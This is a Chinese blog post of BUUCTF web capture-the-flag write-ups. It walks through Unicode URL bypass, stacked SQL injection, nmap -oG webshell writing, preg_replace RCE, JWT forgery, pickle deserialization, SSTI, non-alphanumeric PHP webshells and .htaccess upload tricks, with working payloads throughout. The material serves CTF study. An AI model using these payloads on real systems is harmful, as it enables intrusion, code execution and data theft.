BUUCTF-web刷题Ⅱ
[SUCTF 2019]Pythonginx
考察知识
考察Black Hat2019的一个议题:在unicode中字符℀(U+2100),当利用IDNA
处理此字符时,会将℀变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时,只对域名做了限制,那么通过这种方法,我们就可以轻松绕过服务器对域名的限制。
关于INDA
和UIF-8
的漏洞:https://www.cnblogs.com/cimuhuashuimu/p/11490431.html
此类的字符还有:
U+2100, ℀ |
参考Black Hat2019的PPT:
https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
题目分析
进入题目,给了如下的源码
from flask import Flask, Blueprint, request, Response, escape ,render_template |
我们看到getUrl()
会对传入的url
做多层处理和过滤:
第一层处理及过滤:
host = parse.urlparse(url).hostname |
这里host = parse.urlparse(url).hostname
返回传入的url
的主机名,这里urlparse
是将url
字符串拆分为组件,可参考:https://www.cnblogs.com/jiumo/p/11143741.html
在本机测试效果如下:
from urllib.parse import urlparse |
这里不会对url
中的类似于℀
的字符做处理,测试效果:
'http://www.baidu.℀om/index.php').hostname urlparse( |
因此借助INDA
漏洞构造的url
可以通过这一步的过滤。
第二层处理及过滤:
parts = list(urlsplit(url)) |
urlsplit
是将url
进行分割,测试:
from urllib.parse import urlsplit |
此处利用了一个CVE:urlsplit不处理 NFKC 标准化(用 Punycode/IDNA编码的URL使用NFKC规范化来分解字符),因此对℀
类的字符也是处理不了的:
'http://www.baidu.℀om/index.php')[1] urlsplit( |
绕过前两层过滤,到第三层处理:
newhost = [] |
我们发现,这里是在url
的.
处进行分割,并加入到newhost[]
数组中,但是加入数组之前会继续INDA
编码然后UTF-8
解码,那么在此处℀
类的字符便会被解析为a/c
,我们利用此漏洞便可以构造能打入服务器拿flag的payload了。
解题
我们从前面的代码看到,构造的url
的域名需要绕过前两层host == 'suctf.cc'
的判断,并且要满足第三层的host == 'suctf.cc'
,那么我们便可以构造域名:suctf.c℆sr
便可以绕过对域名的判断。
但是现在我们不知道flag文件在哪,但是题目给了提示:
<!-- Dont worry about the suctf.cc. Go on! --> |
提示我们是基于nginx
架构的服务器,那肯定与其配置文件相关
这里补充知识:
Nginx重要文件位置: |
我们读取nignx.conf
应该能找到flag文件的位置,构造payload:
file://suctf.c℆sr/local/nginx/conf/nginx.conf |
利用file
协议读取nginx.conf
内容如下:
server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; # } } |
拿到flag文件的位置之后,构造最终payload:
/getUrl?url=file://suctf.c%E2%84%86sr/fffffflag |
这里注意℆
需要进行url编码。
拓展一下:python的urlsplit
函数其实是比较不完善的,还存在urlsplit NFKD 标准化漏洞,以后遇到的时候需要多加注意。
[极客大挑战 2019]Http
考察http
协议的题目,常见也简单。
解题
查看源码发现一个Secret.php
的链接,进去之后提示:
伪造Refer
头即可,伪造之后又提示:
伪造UA
头即可,然后提示需要来自本地:
伪造IP
即可拿到flag
这个地方可以伪造多处,可以伪造x-forwarded-for
也可以伪造client-ip
,还可以伪造host
头,有些时候甚至把三个都伪造上,之前打比赛遇到一个题目就是,巨坑…
伪造协议头可以通过BP抓包改包,当然有更方便的方法,这里推荐一个火狐/谷歌的插件Header Editor
方便好用。
[强网杯 2019]随便注
考察堆叠注入
注入原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?答案是会的,这也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如:
用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 |
题目分析
进入题目可以看到一个提示框,进行注入测试,1'
的时候不回显,1'#
则回显,说明存在sql注入,order by
语句得知有两个字段,但是用union select
组合查询的时候提示了过滤的情况:
可以看到,常用的注入语句基本全被过滤了,网上参考得知是堆叠注入
。
解题
利用堆叠注入进行注入:
爆库:1';show databases;# |
查表回显的结果如下:
。
我们看到有一个words
表和一个1919810931114514
表,flag应该在1919810931114514
中没错了,看一下:
1';show columns from `1919810931114514` //注意以纯数字作为表名,查表的时候需要用反引号 |
现在,我们知道flag在1919810931114514
表了,但是用去查询的字段都被过滤了,所以需要用其他的方法来获取flag。
我们可以看到,在输入1
或者2
的时候,都会返回一个字符串,因此猜测内部查询语句应该是默认匹配words
库的,查询语句也就类似于select id, data from words where id =
,因此我们可以把1919810931114514
表改名为words
表,并且加入id
列,同时将flag
列改为data
列,如此一来,我们查询1' or 1=1#
就能拿到flag了。
最终构造payload:
1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);# |
然后1' or 1=1
即可拿到flag。
[SUCTF 2019]EasySQL
也是考察堆叠注入,但是与上题不同,本题突破点在于:mysql中通过set sql_mode=PIPES_AS_CONCAT可以将||视为字符串的连接操作符而非或运算符,利用语句堆叠设置这个环境变量,然后再通过||
拼接查询flag即可。
题目分析
进入题目,和上题一样是一个查询框,可以拿到源码:
|
看到 mysql_multi_query()
得知可以堆叠注入,这里关注查询语句$sql = "select ".$post['query']."||flag from Flag";
可以看到,查询语句是将我们传入的语句与||flag from Flag
拼接在一起了,这里补充知识:
- 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。
因此我们通过堆叠注入设置sql_mode
,然后再查询即可。
解题
构造最终payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
非预期解:直接构造payload为*,1
即可拿到flag
- 字符串
或
时前面的数字时结果为1
则返回1
,为0
则返回0
,效果跟直接*一样。
[BUUCTF 2018]Online Tool
考察namp
的一个命令-oG
,以及escapeshellarg()
和escapeshellarg()
函数合起来使用造成的漏洞。
题目分析
首先看到代码:
|
我们看到,代码主要是通过利用nmap
的命令拼接上我们的输入来执行,参考别人的题解得知namp
的一个参数-oG
可以向目标机器中写入文件,通过这个参数,我们便可以向目标机器写入一个小马来连接。
但是我们只能从host
参数来写入内容,那么我们写入的小马代码便会被escapeshellarg()
和escapeshellarg()
做处理,即将host
中包含的字符转义,便可以影响小马的上传,因此需要利用它们结合使用存在的漏洞来绕过。
这里可以参考:https://paper.seebug.org/164/
即传入的参数内容中包含'
则会造成漏洞,例如:
- 传入的参数是:
172.17.0.2' -v -d a=1
- 经过
escapeshellarg
处理后变成了'172.17.0.2'\'' -v -d a=1'
,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 - 经过
escapeshellcmd
处理后变成'172.17.0.2'\\'' -v -d a=1\'
,这是因为escapeshellcmd
对\
以及最后那个不配对儿的'
进行了转义 - 最后执行的命令是
curl '172.17.0.2'\\'' -v -d a=1\'
,由于中间的\\
被解释为\
而不再是转义字符,所以后面的'
没有被转义,与再后面的'
配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'
,即向172.17.0.2\
发起请求,POST
数据为a=1'
。
这里我们是利用namp
执行命令,那么需要了解一些namp
的基本知识:namp -PS 127.0.0.1
与namp -PS '' 127.0.0.1
与nmap -PS '" "' 127.0.0.1 " "
效果是一样的。
解题
构造payload:
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php ' |
写入之后返回了小马存储的路径:
然后去蚁剑连接即可。
[ZJCTF 2019]NiZhuanSiWei
考察file_get_contents
的绕过,以及反序列化。
补充知识:file_get_contents
的绕过
1、使用
php://input
伪协议绕过
①将要GET
的参数?xxx=php://input
②用post
方法传入想要file_get_contents()函数返回的值
2、用data://
伪协议绕过
①将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
②或者将url改为:?xxx=data:text/plain,(url编码的内容)
3、利用远程文件读取
绕过
题目分析
进入题目之后,给出了一段代码:
|
通过审计代码可知:需要GET
方式上传三个参数text
、file
、password
,并且三个参数需要满足:
text
参数传入的值会用file_get_contents
去访问,初步猜测是远程文件读取
,后来测试发现这里不行,需要用伪协议;file
参数可以传入文件名,这个文件会被include()
包含,看到这猜测肯定有文件包含,并且提示了useless.php
,肯定是要看它的代码的;password
会进行反序列化,还没看出他的用处。
解题
首先构造payload:
/?text=data:text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php&passwprd=1 |
成功读取到useless.php
的代码,如下:
|
我们看到,这里构造了一个Flag
类,并且在此处可以读到flag.php
的内容,由此得知password
传入的肯定是此处序列化的内容,可以用下面的代码拿到序列化的字符串:
|
然后再构造payload读取flag:
/?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
查看源码拿到flag。
[BJDCTF2020]ZJCTF,不过如此
是上道题的改版,原题是支持远程文件读取
的,但是放到BUU
上好像不行了… 这道题在上道题的基础上考了preg_replace()
的RCE。
本RCE参考:https://xz.aliyun.com/t/2557
题目分析
首先看代码:
|
相同的操作拿到next.php
的源码:
|
这里我们看到语句preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)
中采用了preg_replace/e
模式,因此可以利用上面提到的RCE来写入小马,构造payload如下:
/next.php?id=1&\S*=${eval($_POST[x])} |
这样构造的原因:
preg_replace
函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图preg_replace函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为'strtolower("\\1")'
字符串,就需要想办法来执行它。- 上面的命令执行,相当于
eval('strtolower("\\1");')
结果,当中的\\1
实际上就是\1
,而\1
在正则表达式中有自己的含义:对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从
1
开始,最多可存储99
个捕获的子表达式。每个缓冲区都可以使用'\n'
访问,其中n
为一个标识特定缓冲区的一位或两位十进制数。 - 所以这里的
\1
实际上指定的是第一个子匹配项,参考前面的链接,我们传入\S*=${eval($_POST[x])}
便可以将小马写入(S
原本是.
,但是传参数首字符是特殊字符的时候会被替换为_
,用S
可以绕过)。
解题
用上面的payload写入小马,然后用蚁剑连接拿到shell,即可拿到flag。注意这里我们并没有把上面的语句写入到指定的文件,而是访问的时候${eval($_POST[x])}
语句首先被执行了,因此才可以连接上,那么我们连接的时候用的也就是整个url
了。
[极客大挑战 2019]BuyFlag
考察is_numeric()
和strcmp()
两个函数的漏洞
补充知识
php中的strcmp漏洞
传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数接受到了不符合的类型将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,仍将
return 0
(表示两个字符串相等)。那么利用数组即可绕过判断。php中的is_numeric()漏洞
is_numeric
函数对于空字符%00
,无论是%00
放在前后都可以判断为非数值,而%20
空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断。
题目分析
在PAYFLAG
页面源码中发现如下代码:
~~~post money and password~~~ |
提示我们传入money
和password
,可以看到利用password=404%20
即可绕过is_numeric
的判断。
抓包发现cookie
值为0
,而并没有采用PHPSESSID
,将其改为1
即可,发送之后回显如下:
从中看到了对money
的判断,看到PHP版本是5.3的,猜测是strcmp
函数比较的,利用数组绕过即可。
成功拿到flag。**其实对于money的绕过还可以采用科学计数法money=1e11
。
[CISCN 2019]ikun
考察薅羊毛逻辑漏洞:通过抓包修改折扣等数据来购买flag;jwt-cookies伪造、python反序列化
题目分析
进入题目之后提示要买到lv6
我们看到每个商品都有个等级的标签,查看标签命名是lvx.png
,因此若要找到lv6
的地方,可以用下面的脚本代码:
import requests |
跑出来lv6
在181页,但是发现太贵了…
抓包发现可以设置折扣,这里就用到了薅羊毛逻辑漏洞。
然后页面返回提示需要是admin
抓包发现cookie采用了JWT
(此处可了解JWT),我们把JWT
拿去base64解码得到
{"alg":"HS256","typ":"JWT"}{"username":"123"}¶«L=mð¢ÖÙJhÎö7Éq">[¿ |
其中username
中是我们登录的用户名,等下伪造JWT
时改为admin
即可;
另外,伪造JWT
还需要秘钥,可以利用c-jwt-cracker来破解:
拿到秘钥之后,到JWT生成网站伪造admin的JWT:
拿伪造的JWT
伪装成管理员,然后得到了一个压缩包的地址:
然后需要成为大会员
,BP抓包发现是利用become
传参,在源码的Admin.py
中找到了这个参数:
def post(self, *args, **kwargs): |
我们看到,这个地方利用了pickle.loads
对become
传参进行反序列化(关于pickle),现在就需要构造可读取flag文件的序列化字符串赋给become
利用Python反序列化的漏洞拿到flag。
解题
从图中看到:我们可以利用reduce,当reduce被定义之后,该对象被Pickle时就会被调用我们这里的eval用于重建对象的时候调用,即告诉python如何pickle他们供eval使用的即打开的文件flag.txt,EXP如下:
#python3 |
生成payload:
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A. |
利用前面伪造的JWT
同时将上面的payload传给参数become即可拿到flag。
关于Python反序列化漏洞的参考:
Pickle反序列化漏洞:https://xz.aliyun.com/t/2289
cPickle反序列化漏洞:https://blog.csdn.net/SKI_12/article/details/85015803
Python-sec的一些总结:http://bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/
[ASIS 2019]Unicorn shop
考察unicode
安全问题,参考如下链接:
浅谈Unicode设计的安全性
Unicode等价性浅谈
UNICODE SECURITY CONSIDERATIONS
解题
查看源码发现在charset=UTF-8
处提示Ah,really important,seriously.
,说明是考察与unicode安全相关的知识,再看题目页面,可以买四种独角兽,但是前三种价格都是一位数,而第四个却是四位数,猜测flag就在第四个。
但是输入框只能输入一个字符,参考网上的资料,到前面的网站找一个大于1337的特殊unicode字符,然后将其进行url编码填入输入框拿到flag。
可以去这里找。
[WesternCTF 2018]shrine
考察SSTI
服务端模板注入,参考https://www.cnblogs.com/wangtanzhi/p/12238779.html
题目分析
import flask |
可以看到/shrine/
路径下存在对用户输入到模板数据的过滤,(
、)
被替换为空,config
、self
都被黑名单过滤掉,但是还是避免不了存在SSTI,先拿一个数学表达式测试一下:2
,发现可以执行。
接着看代码,
app.config['FLAG'] = os.environ.pop('FLAG') |
这里注册一个名为FLAG
的config
,flag应该就在这,这个地方原本可以直接通过读取所有
app.config
的内容的,但是前面说过config
已经被过滤了:下面这行代码就是将config
和self
替换为空。
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) |
但是这里黑名单过滤的内容比较少,其实还有其他内置函数能实现同样的功能,如url_for和get_flashed_messages
关于这两个函数可以参考:https://www.jianshu.com/p/bcf57a3092ce
解题
直接上payload了
/shrine/{{url_for.__globals__['current_app'].config}} |
读取到flag如下:PHP
中也有很多模板渲染的漏洞,以后遇到了慢慢学吧。
附上一个模板注入点扫描工具tplmap
[安洵杯 2019]easy_web
考察多次编码,MD5
强碰撞
题目分析
进入题目之后,看题目的url发现了可疑的参数img
和cmd
,并且img
的值是一串base64,解码之后还是base64,再解码拿到一串hex码,最终解码是555.png
,这就说明,读取文件的时候是先进行hex编码,然后两次base64编码传参,那么我们利用这个特点就可以读其他文件了。
先看index.php
的内容,三次编码传参之后拿到源码:
|
可以看到preg_match("/flag/i", $file)
说明flag在/flag
中,同时
preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd) |
对cmd
传参内容进行了很多的过滤,可以看到cat
被ban了,但是对\
用了\\
来过滤,之前打比赛遇到过,这样匹配其实匹配不到\
,因此可以借助ca\t
来绕过,这里其实还可以用sort
命令来读取flag的。
sort:sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。
其实Linux中对命令过滤的绕过方式还很多,参考这里
另一个考点是MD5
强比较绕过:
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { |
这里是固定用法:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 |
其实原理是生成两个txt文件,文件内容只有几位不同,但最后的md5值是相同的。
解题
利用cmd
传参sort%20/flag
或ca\t%20/flag
即可,当然c\at
效果一样,这与linux的命令相关,最后拿到flag。
巨坑!如果想要用BP抓包改POST的内容,web端一定是要POST传数据,不能GET传参之后抓包再改成POST,否则失败!
[极客大挑战 2019]Upload
常规文件上传题,对后缀名进行了过滤,一般用php
、php3
、php4
、php5
、phtml
、pht
来绕过,本题是利用pht
绕过的。
本题也对<?
进行了过滤,利用GIF89a <script language="php">eval($_REQUEST[shell])</script>
即可。
解题
上传构造好的小马,抓包之后把文件类型改为image/jpg
上传之后即可成功解析
小马存在了/upload
路径下,蚁剑连接拿flag。
[CISCN 2019]Love Math
主要考察PHP基本函数的利用,还有变量与函数关联的知识
补充知识
一些基本的函数:
scandir()
函数:返回指定目录中的文件和目录的数组。base_convert()
函数:在任意进制之间转换数字。dechex()
函数:把十进制转换为十六进制。hex2bin()
函数:把十六进制值的字符串转换为 ASCII 字符。var_dump()
函数:用于输出变量的相关信息。readfile()
函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回false
。您可以通过@readfile()
形式调用该函数,来隐藏错误信息。
动态函数
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数例如:
$function = "sayHello";$function();
php中函数名默认为字符串
例如本题白名单中的
asinh
和pi
可以直接异或,这就增加了构造字符的选择.
题目分析
打开连接,给出了源码:
|
分析源码可知,对参数内容作了以下的限制:
- 1、长度不能超过80;
- 2、不能包含
,
\t
,\r
,\n
,'
,"
,反引号
,[
,`]`` 这些字符; - 3、不能有不是$whitelist白名单里面的字符串出现;
单单传参c
肯定是不行了,有两种思路来拿flag:
加一个参数:我们需要构造个$_GET[1]
,然后再拿flag,但是[
、]
都不能用,因此不能直接构造,这个时候我们就可以利用白名单中的那些函数来构造。
直接cat flag:也需要用到上面说的一些函数来构造。
主要用到base_convert
、dechex
两个函数,同时将pi
、abs
当做参数来利用。
解题
加参数
构造&_GET
传参:
payload 1:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag |
但是这种方法会报400 Bad Request
,可能跟构造的&_GET
相关,网上参考到不能&_GET
传参,可以用header
来传,可以构造如下:
payload 2
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1}) |
这里用到了apache
下的getallheaders
这个函数:
我们结合这个payload,抓包之后在其中添上1: cat /flag
(这里需要注意一下,BUU的flag都在根目录下,直接cat /flag即可,网上一些参考题解是cat flag.php是读不到的),拿到flag:
直接构造拿cat /flag
//exec('hex2bin(dechex(109270211257898))') => exec('cat f*') |
[GXYCTF2019]禁止套娃
考察无参数RCE,参考这篇文章
题目分析
进入题目只有一句flag在哪?
其实有点无从下手,参考网上的题解提示是git泄露
,但是用githack
没跑出来,最后还是用gitextract
跑出来了源码:(githack得更新了…)
|
我们需要用exp
传参,但是参数会经过三层正则匹配的过滤:
第一层:
preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']) |
这一层过滤了常用的PHP伪协议
第二层:
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) |
这一层的匹配明显提示我们是无参数RCE,其中的?R
是递归地进行匹配
第三次:
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) |
过滤掉常见的关键字。
直接getflag不现实了,那就想办法利用函数来获取。
解题
首先需要获取当前目录下的文件,可以实现的函数有scandir(.)
(.表示当前目录),但是.
又不能用,此时想到localeconv()
:函数返回一包含本地数字及货币格式信息的数组。数组的第一项就是.
这时再借助current()/pos()
返回数组中的当前单元, 默认取第一个值。也就是说current(localeconv())
就是.
了。
payload如下:
/?exp=print_r(scandir(current(localeconv()))); |
可以看到flag.php
在第四个数组元素中,读取它的源码就能拿到flag。如何读取倒数第二个数组元素呢?
这里有三种方法:
1、array_reverse()
以相反的顺序返回数组元素,再结合函数next()
即可。这里构造payload:
/?exp=print_r(next(array_reverse(scandir(current(localeconv()))))); |
效果如下:
2、array_rand()和array_flip()array_flip()
交换数组的键和值;array_rand()
从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
。
构造payload:
/?exp=print_r(array_rand(array_flip(scandir(current(localeconv()))))); |
效果如下:
3、session_id(session_start())session_start()
启动新会话或者重用现有会话;session_id()
获取到当前的session id;
本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。
这里使用session
之前需要通过session_start()
告诉PHP
使用session
,php
默认是不主动使用session
的。然后利用session_id()
获取到当前的session id。我们再在header
中设置PHPSESSID
的cookie
,值就为flag.php
,效果如下:
最后如何获取源码呢?
因为et
被ban,所以可以用readfile()
或highlight_file()
以及其别名函数show_source()
,结合几种方法,最终构造下列payload:
/?exp=readfile(next(array_reverse(scandir(current(localeconv()))))); |
拿到flag:
[SUCTF 2019]EasyWeb
考察的知识有点杂,主要涉及构造不包含数字和字母的webshell、文件上传绕过、绕过open_basedir/disable_function
知识量有点大,好好记录一下。
知识拓展
构造不包含数字和字母的webshell
首先,明确思路。我的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z
中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如assert
,然后动态执行之即可。那么,变换方法 将是解决本题的要点。
不过在此之前,我需要说说php5和7的差异。
php5
中assert
是一个函数,我们可以通过$f='assert';$f(...);
这样的方法来动态执行任意代码。
但php7
中,assert
不再是函数,变成了一个语言结构(类似eval
),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents
函数,同样可以用来getshell
。
以上参考P神的博客。
这里介绍三种构造shell的方法:
1、利用异或
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z
中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或之后,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。
这里附上一个网上看到的代码:
|
然后配合下面的payload,可以执行一些函数。
${0 b8 ba ab}{ ff}();&ff=phpinfo ff ff ff ff^ a |
抛开这道题,还可以类似这样地使用:
http://127.0.0.1/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("type index.php");&%ff=system。 |
最后的exp:
$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff); |
2、取反构造
与方法1
有异曲同工之妙,唯一差异就是,方法1
使用的是位运算里的异或
,本方法使用的是位运算里的取反
。
本方法利用的是UTF-8
编码的某个汉字,并将其中某个字符取出来,比如'和'{2}
的结果是\x8c
,其取反即为字母s
,还有一些其他的如下图:
图片来源于P神的那篇文章。
当然,在这道题里已经过滤了数字,那怎么来构造{}
中的数字呢?
这个可以利用PHP的弱类型特性:true
的值为1
,故true+true==2
,也就是('>'>'<')+('>'>'<')==2
。
然后便可以一步一步构造即可。
后面有一篇博客里[SUCTF 2018]GetShell
这道题用到了这个知识点。
3、自增构造
参考http://php.net/manual/zh/language.operators.increment.php
可以了解到'a'++ => 'b'
,'b'++ => 'c'
… 所以,我们只要能拿到一个变量,其值为a
,通过自增操作即可获得a-z
中所有字符。
那如何获取a
呢?
数组Array
的第一个字母就是大写A
,而且第4个字母是小写a
。利用它可以同时拿到a
和A
,等于我们就可以拿到a-z
和A-Z
的所有字母了。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
,然后再取这个字符串的第一个字符就是A
了,同理获取a
。
还可以利用下面的方式来获取:
|
1、
$_++;
这行代码的意思是对变量名为_
的变量进行自增操作,在PHP中未定义的变量默认值为null
,null==false==0
,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字;
2、$__="?" ^ "}";
对字符?
和}
进行异或运算,得到结果B
赋给变量名为__
的变量;
3、$__();
通过上面的赋值操作,变量$__
的值为B
,所以这行可以看作是B()
,在PHP中,这行代码表示调用函数B
,所以执行结果为HI!
,在PHP中,我们可以将字符串当作函数来处理。
想要更深的了解,参考前面的链接。
文件上传绕过
关于解析
之前讲过一个借用.user.ini
解析来上传小马的,这里再扩展一下:
nginx的服务器,而且上传目录下有一个php文件,所以上传.user.ini
apache的服务器,应该上传.htaccess
.user.ini
的已经讲过了,这里讲一下.htaccess
:上传的时候不能用GIF89a
等文件头去绕过exif_imagetype
,因为这样虽然能上传成功,但.htaccess
文件无法生效。这时有两个办法:
#
在.htaccess
是注释符,所以.htaccess
文件可以生效。同时在.htaccess
前添加x00x00x8ax39x8ax39
(要在十六进制编辑器中添加,或者使用python
的bytes
类型),这里x00x00x8ax39x8ax39
是wbmp文件的文件头,.htaccess
中以0x00
开头的同样也是注释符,所以不会影响.htaccess
。
对<?过滤的绕过
对<?
绕过的一般可以借用<script language="php"></script>
来绕过,但是当PHP的版本是7
以上的时候,本方法不可用了,此时需要用另一种方法:可以通过编码进行绕过,如原来使用utf-8编码,如果shell中是用utf-16编码则可以Bypass。
在本题中的用法后面再讲。
绕过open_basedir/disable_function
open_basedir
是php.ini
中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域。
假设open_basedir=/home/wwwroot/home/web1/:/tmp/
,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/
和/tmp/
这两个目录以外的文件。
注意用open_basedir
指定的限制实际上是前缀,而不是目录名。举例来说: 若open_basedir = /dir/user
, 那么目录/dir/user
和/dir/user1
都是可以访问的,所以如果要将访问限制在仅为指定的目录,注意用斜线结束路径名。
更多的可以参考这里。
解题
进入题目看到源码:
|
可以看到,代码主要分为两部分:get_the_flag()
和各种过滤的代码(主要是为了调用get_the_flag()
)。
可以利用下面的代码fuzz一下:
for ($i = 0; $i < 256; $i++) { |
获取到没有被ban的字符:
! # $ % ( ) * + - / : ; < > ? @ ] ^ { } |
参考前面讲的拿webshell的三种方法,这里取反符号~
直接被禁掉了,自增
需要用到变量长度会很长,因此尝试使用异或
,因为有长度的限制,所以可以去凑出类似$_GET{x}();
然后传入x=get_the_flag
调用函数。
利用下面的脚本来构造:
import urllib.parse |
拿到payload:
?_=${1 b9 bb aa}{ fe}();& fe=get_the_flag fe fe fe fe^ a |
再看get_the_flag
的代码,发现是一个上传,从代码可以看出,对ph
、<?
、文件的类型都做了判断。
那只能上传图片马了,但是还需要上传解析图片马的文件,该题的环境是apache
,因此需要上传.htaccess
,构造的方法前面也讲过了。
现在讲一下.htaccess
构造的内容,这里将一句话进行base64编码,然后在.htaccess
中利用php伪协议进行解码,内容如下:
#define width 1337 |
shell.jpg内容:
GIF89a12 |
参考大佬的一个完整的上传脚本:
import requests |
然后访问?a=phpinfo();
发现存在open_basedir
和disable_functions
的限制,参考前面讲到的知识,构造最终payload:
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/')); |
找到flag文件THis_Is_tHe_F14g
,然后构造payload拿flag:
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g')); |
偶然发现,其实这个题不去绕过open_basedir
和disable_functions
的限制,直接访问phpinfo()
就有flag…
- Post Title: BUUCTF-web刷题Ⅱ
- Post Author: ggb0n
- Post Link: http://ggb0n.cool/2020/02/10/BUUCTF-web刷题Ⅱ/
- Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
1.TCTF2020部分题解
2.第五空间pwn题练习
3.堆溢出-Tcache_Attack
4.堆溢出-Housese_Of_XXX
5.堆溢出基础
6.入坑二进制